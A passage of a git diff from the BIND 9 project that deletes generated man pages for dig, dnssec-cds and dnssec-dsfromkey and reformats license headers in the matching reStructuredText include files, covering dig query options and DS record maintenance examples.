-This option sets or clears all display flags.
-.TP
-.B \fB+[no]answer\fP
-This option displays [or does not display] the answer section of a reply. The default
-is to display it.
-.TP
-.B \fB+[no]authority\fP
-This option displays [or does not display] the authority section of a reply. The
-default is to display it.
-.TP
-.B \fB+[no]badcookie\fP
-This option retries the lookup with a new server cookie if a BADCOOKIE response is
-received.
-.TP
-.B \fB+[no]besteffort\fP
-This option attempts to display the contents of messages which are malformed. The
-default is to not display malformed answers.
-.TP
-.B \fB+bufsize[=B]\fP
-This option sets the UDP message buffer size advertised using EDNS0 to
-\fBB\fP bytes.  The maximum and minimum sizes of this buffer are 65535 and
-0, respectively.  \fB+bufsize\fP restores the default buffer size.
-.TP
-.B \fB+[no]cdflag\fP
-This option sets [or does not set] the CD (checking disabled) bit in the query. This
-requests the server to not perform DNSSEC validation of responses.
-.TP
-.B \fB+[no]class\fP
-This option displays [or does not display] the CLASS when printing the record.
-.TP
-.B \fB+[no]cmd\fP
-This option toggles the printing of the initial comment in the output, identifying the
-version of \fBdig\fP and the query options that have been applied. This option
-always has a global effect; it cannot be set globally and then overridden on a
-per\-lookup basis. The default is to print this comment.
-.TP
-.B \fB+[no]comments\fP
-This option toggles the display of some comment lines in the output, with
-information about the packet header and OPT pseudosection, and the names of
-the response section. The default is to print these comments.
-.sp
-Other types of comments in the output are not affected by this option, but
-can be controlled using other command\-line switches. These include
-\fB+[no]cmd\fP, \fB+[no]question\fP, \fB+[no]stats\fP, and \fB+[no]rrcomments\fP\&.
-.TP
-.B \fB+[no]cookie=####\fP
-This option sends [or does not send] a COOKIE EDNS option, with an optional value. Replaying a COOKIE
-from a previous response allows the server to identify a previous
-client. The default is \fB+cookie\fP\&.
-.sp
-\fB+cookie\fP is also set when \fB+trace\fP is set to better emulate the
-default queries from a nameserver.
-.TP
-.B \fB+[no]crypto\fP
-This option toggles the display of cryptographic fields in DNSSEC records. The
-contents of these fields are unnecessary for debugging most DNSSEC
-validation failures and removing them makes it easier to see the
-common failures. The default is to display the fields. When omitted,
-they are replaced by the string \fB[omitted]\fP or, in the DNSKEY case, the
-key ID is displayed as the replacement, e.g. \fB[ key id = value ]\fP\&.
-.TP
-.B \fB+[no]defname\fP
-This option, which is deprecated, is treated as a synonym for \fB+[no]search\fP\&.
-.TP
-.B \fB+[no]dns64prefix\fP
-Lookup IPV4ONLY.ARPA AAAA and print any DNS64 prefixes found.
-.TP
-.B \fB+[no]dnssec\fP
-This option requests that DNSSEC records be sent by setting the DNSSEC OK (DO) bit in
-the OPT record in the additional section of the query.
-.TP
-.B \fB+domain=somename\fP
-This option sets the search list to contain the single domain \fBsomename\fP, as if
-specified in a \fBdomain\fP directive in \fB/etc/resolv.conf\fP, and
-enables search list processing as if the \fB+search\fP option were
-given.
-.TP
-.B \fB+dscp=value\fP
-This option sets the DSCP code point to be used when sending the query. Valid DSCP
-code points are in the range [0...63]. By default no code point is
-explicitly set.
-.TP
-.B \fB+[no]edns[=#]\fP
-This option specifies the EDNS version to query with. Valid values are 0 to 255.
-Setting the EDNS version causes an EDNS query to be sent.
-\fB+noedns\fP clears the remembered EDNS version. EDNS is set to 0 by
-default.
-.TP
-.B \fB+[no]ednsflags[=#]\fP
-This option sets the must\-be\-zero EDNS flags bits (Z bits) to the specified value.
-Decimal, hex, and octal encodings are accepted. Setting a named flag
-(e.g., DO) is silently ignored. By default, no Z bits are set.
-.TP
-.B \fB+[no]ednsnegotiation\fP
-This option enables/disables EDNS version negotiation. By default, EDNS version
-negotiation is enabled.
-.TP
-.B \fB+[no]ednsopt[=code[:value]]\fP
-This option specifies the EDNS option with code point \fBcode\fP and an optional payload
-of \fBvalue\fP as a hexadecimal string. \fBcode\fP can be either an EDNS
-option name (for example, \fBNSID\fP or \fBECS\fP) or an arbitrary
-numeric value. \fB+noednsopt\fP clears the EDNS options to be sent.
-.TP
-.B \fB+[no]expire\fP
-This option sends an EDNS Expire option.
-.TP
-.B \fB+[no]fail\fP
-This option indicates that \fBnamed\fP should try [or not try] the next server if a SERVFAIL is received. The default is
-to not try the next server, which is the reverse of normal stub
-resolver behavior.
-.TP
-.B \fB+[no]header\-only\fP
-This option sends a query with a DNS header without a question section. The
-default is to add a question section. The query type and query name
-are ignored when this is set.
-.TP
-.B \fB+[no]https[=value]\fP
-This option indicates whether to use DNS\-over\-HTTPS (DoH) when querying
-name servers.  When this option is in use, the port number defaults to 443.
-The HTTP POST request mode is used when sending the query.
-.sp
-If \fBvalue\fP is specified, it will be used as the HTTP endpoint in the
-query URI; the default is \fB/dns\-query\fP\&. So, for example, \fBdig
-@example.com +https\fP will use the URI \fBhttps://example.com/dns\-query\fP\&.
-.TP
-.B \fB+[no]https\-get[=value]\fP
-Similar to \fB+https\fP, except that the HTTP GET request mode is used
-when sending the query.
-.TP
-.B \fB+[no]https\-post[=value]\fP
-Same as \fB+https\fP\&.
-.TP
-.B \fB+[no]http\-plain[=value]\fP
-Similar to \fB+https\fP, except that HTTP queries will be sent over a
-non\-encrypted channel. When this option is in use, the port number
-defaults to 80 and the HTTP request mode is POST.
-.TP
-.B \fB+[no]http\-plain\-get[=value]\fP
-Similar to \fB+http\-plain\fP, except that the HTTP request mode is GET.
-.TP
-.B \fB+[no]http\-plain\-post[=value]\fP
-Same as \fB+http\-plain\fP\&.
-.TP
-.B \fB+[no]identify\fP
-This option shows [or does not show] the IP address and port number that
-supplied the answer, when the \fB+short\fP option is enabled. If short
-form answers are requested, the default is not to show the source
-address and port number of the server that provided the answer.
-.TP
-.B \fB+[no]idnin\fP
-This option processes [or does not process] IDN domain names on input. This requires
-\fBIDN SUPPORT\fP to have been enabled at compile time.
-.sp
-The default is to process IDN input when standard output is a tty.
-The IDN processing on input is disabled when \fBdig\fP output is redirected
-to files, pipes, and other non\-tty file descriptors.
-.TP
-.B \fB+[no]idnout\fP
-This option converts [or does not convert] puny code on output. This requires
-\fBIDN SUPPORT\fP to have been enabled at compile time.
-.sp
-The default is to process puny code on output when standard output is
-a tty. The puny code processing on output is disabled when \fBdig\fP output
-is redirected to files, pipes, and other non\-tty file descriptors.
-.TP
-.B \fB+[no]ignore\fP
-This option ignores [or does not ignore] truncation in UDP responses instead of retrying with TCP. By
-default, TCP retries are performed.
-.TP
-.B \fB+[no]keepalive\fP
-This option sends [or does not send] an EDNS Keepalive option.
-.TP
-.B \fB+[no]keepopen\fP
-This option keeps [or does not keep] the TCP socket open between queries, and reuses it rather than
-creating a new TCP socket for each lookup. The default is
-\fB+nokeepopen\fP\&.
-.TP
-.B \fB+[no]mapped\fP
-This option allows [or does not allow] mapped IPv4\-over\-IPv6 addresses to be used. The default is
-\fB+mapped\fP\&.
-.TP
-.B \fB+[no]multiline\fP
-This option prints [or does not print] records, like the SOA records, in a verbose multi\-line format
-with human\-readable comments. The default is to print each record on
-a single line to facilitate machine parsing of the \fBdig\fP output.
-.TP
-.B \fB+ndots=D\fP
-This option sets the number of dots (\fBD\fP) that must appear in \fBname\fP for
-it to be considered absolute. The default value is that defined using
-the \fBndots\fP statement in \fB/etc/resolv.conf\fP, or 1 if no \fBndots\fP
-statement is present. Names with fewer dots are interpreted as
-relative names, and are searched for in the domains listed in the
-\fBsearch\fP or \fBdomain\fP directive in \fB/etc/resolv.conf\fP if
-\fB+search\fP is set.
-.TP
-.B \fB+[no]nsid\fP
-When enabled, this option includes an EDNS name server ID request when sending a query.
-.TP
-.B \fB+[no]nssearch\fP
-When this option is set, \fBdig\fP attempts to find the authoritative
-name servers for the zone containing the name being looked up, and
-display the SOA record that each name server has for the zone.
-Addresses of servers that did not respond are also printed.
-.TP
-.B \fB+[no]onesoa\fP
-When enabled, this option prints only one (starting) SOA record when performing an AXFR. The
-default is to print both the starting and ending SOA records.
-.TP
-.B \fB+[no]opcode=value\fP
-When enabled, this option sets (restores) the DNS message opcode to the specified value. The
-default value is QUERY (0).
-.TP
-.B \fB+padding=value\fP
-This option pads the size of the query packet using the EDNS Padding option to
-blocks of \fBvalue\fP bytes. For example, \fB+padding=32\fP causes a
-48\-byte query to be padded to 64 bytes. The default block size is 0,
-which disables padding; the maximum is 512. Values are ordinarily
-expected to be powers of two, such as 128; however, this is not
-mandatory. Responses to padded queries may also be padded, but only
-if the query uses TCP or DNS COOKIE.
-.TP
-.B \fB+qid=value\fP
-This option specifies the query ID to use when sending queries.
-.TP
-.B \fB+[no]qr\fP
-This option toggles the display of the query message as it is sent. By default, the query
-is not printed.
-.TP
-.B \fB+[no]question\fP
-This option toggles the display of the question section of a query when an answer is
-returned. The default is to print the question section as a comment.
-.TP
-.B \fB+[no]raflag\fP
-This option sets [or does not set] the RA (Recursion Available) bit in the query. The
-default is \fB+noraflag\fP\&. This bit is ignored by the server for
-QUERY.
-.TP
-.B \fB+[no]rdflag\fP
-This option is a synonym for \fB+[no]recurse\fP\&.
-.TP
-.B \fB+[no]recurse\fP
-This option toggles the setting of the RD (recursion desired) bit in the query.
-This bit is set by default, which means \fBdig\fP normally sends
-recursive queries. Recursion is automatically disabled when the
-\fB+nssearch\fP or \fB+trace\fP query option is used.
-.TP
-.B \fB+retry=T\fP
-This option sets the number of times to retry UDP and TCP queries to server to \fBT\fP
-instead of the default, 2.  Unlike \fB+tries\fP, this does not include
-the initial query.
-.TP
-.B \fB+[no]rrcomments\fP
-This option toggles the display of per\-record comments in the output (for example,
-human\-readable key information about DNSKEY records). The default is
-not to print record comments unless multiline mode is active.
-.TP
-.B \fB+[no]search\fP
-This option uses [or does not use] the search list defined by the searchlist or domain
-directive in \fBresolv.conf\fP, if any. The search list is not used by
-default.
-.sp
-\fBndots\fP from \fBresolv.conf\fP (default 1), which may be overridden by
-\fB+ndots\fP, determines whether the name is treated as relative
-and hence whether a search is eventually performed.
-.TP
-.B \fB+[no]short\fP
-This option toggles whether a terse answer is provided. The default is to print the answer in a verbose
-form. This option always has a global effect; it cannot be set globally and
-then overridden on a per\-lookup basis.
-.TP
-.B \fB+[no]showsearch\fP
-This option performs [or does not perform] a search showing intermediate results.
-.TP
-.B \fB+[no]sigchase\fP
-This feature is now obsolete and has been removed; use \fBdelv\fP
-instead.
-.TP
-.B \fB+split=W\fP
-This option splits long hex\- or base64\-formatted fields in resource records into
-chunks of \fBW\fP characters (where \fBW\fP is rounded up to the nearest
-multiple of 4). \fB+nosplit\fP or \fB+split=0\fP causes fields not to be
-split at all. The default is 56 characters, or 44 characters when
-multiline mode is active.
-.TP
-.B \fB+[no]stats\fP
-This option toggles the printing of statistics: when the query was made, the size of the
-reply, etc. The default behavior is to print the query statistics as a
-comment after each lookup.
-.TP
-.B \fB+[no]subnet=addr[/prefix\-length]\fP
-This option sends [or does not send] an EDNS CLIENT\-SUBNET option with the specified IP
-address or network prefix.
-.sp
-\fBdig +subnet=0.0.0.0/0\fP, or simply \fBdig +subnet=0\fP for short,
-sends an EDNS CLIENT\-SUBNET option with an empty address and a source
-prefix\-length of zero, which signals a resolver that the client\(aqs
-address information must \fInot\fP be used when resolving this query.
-.TP
-.B \fB+[no]tcflag\fP
-This option sets [or does not set] the TC (TrunCation) bit in the query. The default is
-\fB+notcflag\fP\&. This bit is ignored by the server for QUERY.
-.TP
-.B \fB+[no]tcp\fP
-This option indicates whether to use TCP when querying name servers.
-The default behavior is to use UDP unless a type \fBany\fP or \fBixfr=N\fP
-query is requested, in which case the default is TCP. AXFR queries
-always use TCP.
-.TP
-.B \fB+timeout=T\fP
-This option sets the timeout for a query to \fBT\fP seconds. The default timeout is
-5 seconds. An attempt to set \fBT\fP to less than 1 is silently set to 1.
-.TP
-.B \fB+[no]tls\fP
-This option indicates whether to use DNS\-over\-TLS (DoT) when querying
-name servers. When this option is in use, the port number defaults
-to 853.
-.TP
-.B \fB+[no]topdown\fP
-This feature is related to \fBdig +sigchase\fP, which is obsolete and
-has been removed. Use \fBdelv\fP instead.
-.TP
-.B \fB+[no]trace\fP
-This option toggles tracing of the delegation path from the root name servers for
-the name being looked up. Tracing is disabled by default. When
-tracing is enabled, \fBdig\fP makes iterative queries to resolve the
-name being looked up. It follows referrals from the root servers,
-showing the answer from each server that was used to resolve the
-lookup.
-.sp
-If \fB@server\fP is also specified, it affects only the initial query for
-the root zone name servers.
-.sp
-\fB+dnssec\fP is also set when \fB+trace\fP is set, to better emulate the
-default queries from a name server.
-.TP
-.B \fB+tries=T\fP
-This option sets the number of times to try UDP and TCP queries to server to \fBT\fP
-instead of the default, 3. If \fBT\fP is less than or equal to zero,
-the number of tries is silently rounded up to 1.
-.TP
-.B \fB+trusted\-key=####\fP
-This option formerly specified trusted keys for use with \fBdig +sigchase\fP\&. This
-feature is now obsolete and has been removed; use \fBdelv\fP instead.
-.TP
-.B \fB+[no]ttlid\fP
-This option displays [or does not display] the TTL when printing the record.
-.TP
-.B \fB+[no]ttlunits\fP
-This option displays [or does not display] the TTL in friendly human\-readable time
-units of \fBs\fP, \fBm\fP, \fBh\fP, \fBd\fP, and \fBw\fP, representing seconds, minutes,
-hours, days, and weeks. This implies \fB+ttlid\fP\&.
-.TP
-.B \fB+[no]unknownformat\fP
-This option prints all RDATA in unknown RR type presentation format (\fI\%RFC 3597\fP).
-The default is to print RDATA for known types in the type\(aqs
-presentation format.
-.TP
-.B \fB+[no]vc\fP
-This option uses [or does not use] TCP when querying name servers. This alternate
-syntax to \fB+[no]tcp\fP is provided for backwards compatibility. The
-\fBvc\fP stands for "virtual circuit."
-.TP
-.B \fB+[no]yaml\fP
-When enabled, this option prints the responses (and, if \fB+qr\fP is in use, also the
-outgoing queries) in a detailed YAML format.
-.TP
-.B \fB+[no]zflag\fP
-This option sets [or does not set] the last unassigned DNS header flag in a DNS query.
-This flag is off by default.
-.UNINDENT
-.SH MULTIPLE QUERIES
-.sp
-The BIND 9 implementation of \fBdig\fP supports specifying multiple
-queries on the command line (in addition to supporting the \fB\-f\fP batch
-file option). Each of those queries can be supplied with its own set of
-flags, options, and query options.
-.sp
-In this case, each \fBquery\fP argument represents an individual query in
-the command\-line syntax described above. Each consists of any of the
-standard options and flags, the name to be looked up, an optional query
-type and class, and any query options that should be applied to that
-query.
-.sp
-A global set of query options, which should be applied to all queries,
-can also be supplied. These global query options must precede the first
-tuple of name, class, type, options, flags, and query options supplied
-on the command line. Any global query options (except \fB+[no]cmd\fP and
-\fB+[no]short\fP options) can be overridden by a query\-specific set of
-query options. For example:
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-dig +qr www.isc.org any \-x 127.0.0.1 isc.org ns +noqr
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-shows how \fBdig\fP can be used from the command line to make three
-lookups: an ANY query for \fBwww.isc.org\fP, a reverse lookup of 127.0.0.1,
-and a query for the NS records of \fBisc.org\fP\&. A global query option of
-\fB+qr\fP is applied, so that \fBdig\fP shows the initial query it made for
-each lookup. The final query has a local query option of \fB+noqr\fP which
-means that \fBdig\fP does not print the initial query when it looks up the
-NS records for \fBisc.org\fP\&.
-.SH IDN SUPPORT
-.sp
-If \fBdig\fP has been built with IDN (internationalized domain name)
-support, it can accept and display non\-ASCII domain names. \fBdig\fP
-appropriately converts character encoding of a domain name before sending
-a request to a DNS server or displaying a reply from the server.
-To turn off IDN support, use the parameters
-\fB+noidnin\fP and \fB+noidnout\fP, or define the \fBIDN_DISABLE\fP environment
-variable.
-.SH FILES
-.sp
-\fB/etc/resolv.conf\fP
-.sp
-\fB${HOME}/.digrc\fP
-.SH SEE ALSO
-.sp
-\fBdelv(1)\fP, \fBhost(1)\fP, \fBnamed(8)\fP, \fBdnssec\-keygen(8)\fP, \fI\%RFC 1035\fP\&.
-.SH BUGS
-.sp
-There are probably too many query options.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dig.rst b/doc/man/dig.rst
index 2ec46a0992..578a0bebca 100644
--- a/doc/man/dig.rst
+++ b/doc/man/dig.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dig/dig.rst
\ No newline at end of file
+.. include:: ../../bin/dig/dig.rst
diff --git a/doc/man/dnssec-cds.1in b/doc/man/dnssec-cds.1in
deleted file mode 100644
index 764ccfaab9..0000000000
--- a/doc/man/dnssec-cds.1in
+++ /dev/null
@@ -1,229 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DNSSEC-CDS" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dnssec-cds \- change DS records for a child zone based on CDS/CDNSKEY
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdnssec\-cds\fP [\fB\-a\fP alg...] [\fB\-c\fP class] [\fB\-D\fP] {\fB\-d\fP dsset\-file} {\fB\-f\fP child\-file} [\fB\-i**[extension]] [\fP\-s** start\-time] [\fB\-T\fP ttl] [\fB\-u\fP] [\fB\-v\fP level] [\fB\-V\fP] {domain}
-.SH DESCRIPTION
-.sp
-The \fBdnssec\-cds\fP command changes DS records at a delegation point
-based on CDS or CDNSKEY records published in the child zone. If both CDS
-and CDNSKEY records are present in the child zone, the CDS is preferred.
-This enables a child zone to inform its parent of upcoming changes to
-its key\-signing keys (KSKs); by polling periodically with \fBdnssec\-cds\fP, the
-parent can keep the DS records up\-to\-date and enable automatic rolling
-of KSKs.
-.sp
-Two input files are required. The \fB\-f child\-file\fP option specifies a
-file containing the child\(aqs CDS and/or CDNSKEY records, plus RRSIG and
-DNSKEY records so that they can be authenticated. The \fB\-d path\fP option
-specifies the location of a file containing the current DS records. For
-example, this could be a \fBdsset\-\fP file generated by
-\fBdnssec\-signzone\fP, or the output of \fBdnssec\-dsfromkey\fP, or the
-output of a previous run of \fBdnssec\-cds\fP\&.
-.sp
-The \fBdnssec\-cds\fP command uses special DNSSEC validation logic
-specified by \fI\%RFC 7344\fP\&. It requires that the CDS and/or CDNSKEY records
-be validly signed by a key represented in the existing DS records. This
-is typically the pre\-existing KSK.
-.sp
-For protection against replay attacks, the signatures on the child
-records must not be older than they were on a previous run of
-\fBdnssec\-cds\fP\&. Their age is obtained from the modification time of the
-\fBdsset\-\fP file, or from the \fB\-s\fP option.
-.sp
-To protect against breaking the delegation, \fBdnssec\-cds\fP ensures that
-the DNSKEY RRset can be verified by every key algorithm in the new DS
-RRset, and that the same set of keys are covered by every DS digest
-type.
-.sp
-By default, replacement DS records are written to the standard output;
-with the \fB\-i\fP option the input file is overwritten in place. The
-replacement DS records are the same as the existing records, when no
-change is required. The output can be empty if the CDS/CDNSKEY records
-specify that the child zone wants to be insecure.
-.sp
-\fBWARNING:\fP
-.INDENT 0.0
-.INDENT 3.5
-Be careful not to delete the DS records when \fBdnssec\-cds\fP fails!
-.UNINDENT
-.UNINDENT
-.sp
-Alternatively, \fBdnssec\-cds \-u\fP writes an \fBnsupdate\fP script to the
-standard output. The \fB\-u\fP and \fB\-i\fP options can be used together to
-maintain a \fBdsset\-\fP file as well as emit an \fBnsupdate\fP script.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-a algorithm\fP
-This option specifies a digest algorithm to use when converting CDNSKEY records to
-DS records. This option can be repeated, so that multiple DS records
-are created for each CDNSKEY record. This option has no effect when
-using CDS records.
-.sp
-The algorithm must be one of SHA\-1, SHA\-256, or SHA\-384. These values
-are case\-insensitive, and the hyphen may be omitted. If no algorithm
-is specified, the default is SHA\-256.
-.TP
-.B \fB\-c class\fP
-This option specifies the DNS class of the zones.
-.TP
-.B \fB\-D\fP
-This option generates DS records from CDNSKEY records if both CDS and CDNSKEY
-records are present in the child zone. By default CDS records are
-preferred.
-.TP
-.B \fB\-d path\fP
-This specifies the location of the parent DS records. The path can be the name of a file
-containing the DS records; if it is a directory, \fBdnssec\-cds\fP
-looks for a \fBdsset\-\fP file for the domain inside the directory.
-.sp
-To protect against replay attacks, child records are rejected if they
-were signed earlier than the modification time of the \fBdsset\-\fP
-file. This can be adjusted with the \fB\-s\fP option.
-.TP
-.B \fB\-f child\-file\fP
-This option specifies the file containing the child\(aqs CDS and/or CDNSKEY records, plus its
-DNSKEY records and the covering RRSIG records, so that they can be
-authenticated.
-.sp
-The examples below describe how to generate this file.
-.TP
-.B \fB\-iextension\fP
-This option updates the \fBdsset\-\fP file in place, instead of writing DS records to
-the standard output.
-.sp
-There must be no space between the \fB\-i\fP and the extension. If
-no extension is provided, the old \fBdsset\-\fP is discarded. If an
-extension is present, a backup of the old \fBdsset\-\fP file is kept
-with the extension appended to its filename.
-.sp
-To protect against replay attacks, the modification time of the
-\fBdsset\-\fP file is set to match the signature inception time of the
-child records, provided that it is later than the file\(aqs current
-modification time.
-.TP
-.B \fB\-s start\-time\fP
-This option specifies the date and time after which RRSIG records become
-acceptable. This can be either an absolute or a relative time. An
-absolute start time is indicated by a number in YYYYMMDDHHMMSS
-notation; 20170827133700 denotes 13:37:00 UTC on August 27th, 2017. A
-time relative to the \fBdsset\-\fP file is indicated with \fB\-N\fP, which is N
-seconds before the file modification time. A time relative to the
-current time is indicated with \fBnow+N\fP\&.
-.sp
-If no start\-time is specified, the modification time of the
-\fBdsset\-\fP file is used.
-.TP
-.B \fB\-T ttl\fP
-This option specifies a TTL to be used for new DS records. If not specified, the
-default is the TTL of the old DS records. If they had no explicit TTL,
-the new DS records also have no explicit TTL.
-.TP
-.B \fB\-u\fP
-This option writes an \fBnsupdate\fP script to the standard output, instead of
-printing the new DS reords. The output is empty if no change is
-needed.
-.sp
-Note: The TTL of new records needs to be specified: it can be done in the
-original \fBdsset\-\fP file, with the \fB\-T\fP option, or using the
-\fBnsupdate\fP \fBttl\fP command.
-.TP
-.B \fB\-V\fP
-This option prints version information.
-.TP
-.B \fB\-v level\fP
-This option sets the debugging level. Level 1 is intended to be usefully verbose
-for general users; higher levels are intended for developers.
-.TP
-.B \fBdomain\fP
-This indicates the name of the delegation point/child zone apex.
-.UNINDENT
-.SH EXIT STATUS
-.sp
-The \fBdnssec\-cds\fP command exits 0 on success, or non\-zero if an error
-occurred.
-.sp
-If successful, the DS records may or may not need to be
-changed.
-.SH EXAMPLES
-.sp
-Before running \fBdnssec\-signzone\fP, ensure that the delegations
-are up\-to\-date by running \fBdnssec\-cds\fP on every \fBdsset\-\fP file.
-.sp
-To fetch the child records required by \fBdnssec\-cds\fP, invoke
-\fBdig\fP as in the script below. It is acceptable if the \fBdig\fP fails, since
-\fBdnssec\-cds\fP performs all the necessary checking.
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-for f in dsset\-*
-do
-    d=${f#dsset\-}
-    dig +dnssec +noall +answer $d DNSKEY $d CDNSKEY $d CDS |
-    dnssec\-cds \-i \-f /dev/stdin \-d $f $d
-done
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-When the parent zone is automatically signed by \fBnamed\fP,
-\fBdnssec\-cds\fP can be used with \fBnsupdate\fP to maintain a delegation as follows.
-The \fBdsset\-\fP file allows the script to avoid having to fetch and
-validate the parent DS records, and it maintains the replay attack
-protection time.
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-dig +dnssec +noall +answer $d DNSKEY $d CDNSKEY $d CDS |
-dnssec\-cds \-u \-i \-f /dev/stdin \-d $f $d |
-nsupdate \-l
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBdig(1)\fP, \fBdnssec\-settime(8)\fP, \fBdnssec\-signzone(8)\fP, \fBnsupdate(1)\fP, BIND 9 Administrator
-Reference Manual, \fI\%RFC 7344\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dnssec-cds.rst b/doc/man/dnssec-cds.rst
index 8bccf0a422..fadc1a1d53 100644
--- a/doc/man/dnssec-cds.rst
+++ b/doc/man/dnssec-cds.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dnssec/dnssec-cds.rst
\ No newline at end of file
+.. include:: ../../bin/dnssec/dnssec-cds.rst
diff --git a/doc/man/dnssec-dsfromkey.1in b/doc/man/dnssec-dsfromkey.1in
deleted file mode 100644
index 0ed4c57c81..0000000000
--- a/doc/man/dnssec-dsfromkey.1in
+++ /dev/null
@@ -1,149 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DNSSEC-DSFROMKEY" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dnssec-dsfromkey \- DNSSEC DS RR generation tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdnssec\-dsfromkey\fP [ \fB\-1\fP | \fB\-2\fP | \fB\-a\fP alg ] [ \fB\-C\fP ] [\fB\-T\fP TTL] [\fB\-v\fP level] [\fB\-K\fP directory] {keyfile}
-.sp
-\fBdnssec\-dsfromkey\fP [ \fB\-1\fP | \fB\-2\fP | \fB\-a\fP alg ] [ \fB\-C\fP ] [\fB\-T\fP TTL] [\fB\-v\fP level] [\fB\-c\fP class] [\fB\-A\fP] {\fB\-f\fP file} [dnsname]
-.sp
-\fBdnssec\-dsfromkey\fP [ \fB\-1\fP | \fB\-2\fP | \fB\-a\fP alg ] [ \fB\-C\fP ] [\fB\-T\fP TTL] [\fB\-v\fP level] [\fB\-c\fP class] [\fB\-K\fP directory] {\fB\-s\fP} {dnsname}
-.sp
-\fBdnssec\-dsfromkey\fP [ \fB\-h\fP | \fB\-V\fP ]
-.SH DESCRIPTION
-.sp
-The \fBdnssec\-dsfromkey\fP command outputs DS (Delegation Signer) resource records
-(RRs), or CDS (Child DS) RRs with the \fB\-C\fP option.
-.sp
-The input keys can be specified in a number of ways:
-.sp
-By default, \fBdnssec\-dsfromkey\fP reads a key file named in the format
-\fBKnnnn.+aaa+iiiii.key\fP, as generated by \fBdnssec\-keygen\fP\&.
-.sp
-With the \fB\-f file\fP option, \fBdnssec\-dsfromkey\fP reads keys from a zone
-file or partial zone file (which can contain just the DNSKEY records).
-.sp
-With the \fB\-s\fP option, \fBdnssec\-dsfromkey\fP reads a \fBkeyset\-\fP file,
-as generated by \fBdnssec\-keygen\fP \fB\-C\fP\&.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-1\fP
-This option is an abbreviation for \fB\-a SHA1\fP\&.
-.TP
-.B \fB\-2\fP
-This option is an abbreviation for \fB\-a SHA\-256\fP\&.
-.TP
-.B \fB\-a algorithm\fP
-This option specifies a digest algorithm to use when converting DNSKEY records to
-DS records. This option can be repeated, so that multiple DS records
-are created for each DNSKEY record.
-.sp
-The algorithm must be one of SHA\-1, SHA\-256, or SHA\-384. These values
-are case\-insensitive, and the hyphen may be omitted. If no algorithm
-is specified, the default is SHA\-256.
-.TP
-.B \fB\-A\fP
